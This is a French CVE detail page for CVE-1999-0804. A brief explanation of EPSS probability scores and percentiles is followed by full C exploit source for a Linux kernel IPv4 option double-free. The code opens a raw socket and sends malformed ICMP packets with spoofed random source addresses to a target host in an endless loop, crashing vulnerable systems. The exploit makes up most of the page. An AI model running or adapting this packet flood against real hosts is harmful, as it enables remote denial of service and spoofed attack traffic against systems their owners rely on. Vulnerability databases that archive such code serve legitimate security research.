CVE-1999-0804 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/302/info A vulnerability in the Linux Kernel's IPv4 option processing may allow a remote user to crash the system. The vulnerability is the result of the kernel freeing a socket buffer when it shouldn't while sending an ICMP Parameter Problem error message in response to an IP packet with a malformed IP option. This results in the buffer being freed twice and in memory corruption. Of the Debian Linux 2.1 supported architectures only the SPARC one is vulnerable. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <errno.h> #include <unistd.h> #include <netdb.h> struct icmp_hdr { struct iphdr iph; struct icmp icp; char text[1002]; } icmph; int in_cksum(int *ptr, int nbytes) { long sum; u_short oddbyte, answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *)&oddbyte) = *(u_char *)ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } struct sockaddr_in sock_open(char *address, int socket, int prt) { struct hostent *host; if ((host = gethostbyname(address)) == NULL) { perror("Unable to get host name"); exit(-1); } struct sockaddr_in sin; bzero((char *)&sin, sizeof(sin)); sin.sin_family = PF_INET; sin.sin_port = htons(prt); bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length); return(sin); } void main(int argc, char **argv) { int sock, i, ctr, k; int on = 1; struct sockaddr_in addrs; if (argc < 3) { printf("Usage: %s <ip_addr> <port>\n", argv[0]); exit(-1); } for (i = 0; i < 1002; i++) { icmph.text[i] = random() % 255; } sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { perror("Can't set IP_HDRINCL option on socket"); } if (sock < 0) { exit(-1); } fflush(stdout); for (ctr = 0;ctr < 1001;ctr++) { ctr = ctr % 1000; addrs = sock_open(argv[1], sock, atoi(argv[2])); icmph.iph.version = 4; icmph.iph.ihl = 6; icmph.iph.tot_len = 1024; icmph.iph.id = htons(0x001); icmph.iph.ttl = 255; icmph.iph.protocol = IPPROTO_ICMP; icmph.iph.saddr = ((random() % 255) * 255 * 255 * 255) + ((random() % 255) * 65535) + ((random() % 255) * 255) + (random() % 255); icmph.iph.daddr = addrs.sin_addr.s_addr; icmph.iph.frag_off = htons(0); icmph.icp.icmp_type = random() % 14; icmph.icp.icmp_code = random() % 10; icmph.icp.icmp_cksum = 0; icmph.icp.icmp_id = 2650; icmph.icp.icmp_seq = random() % 255; icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024); if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs,sizeof(struct sockaddr)) == -1) { if (errno != ENOBUFS) printf("X"); } if (ctr == 0) printf("b00m "); fflush(stdout); } close(sock); }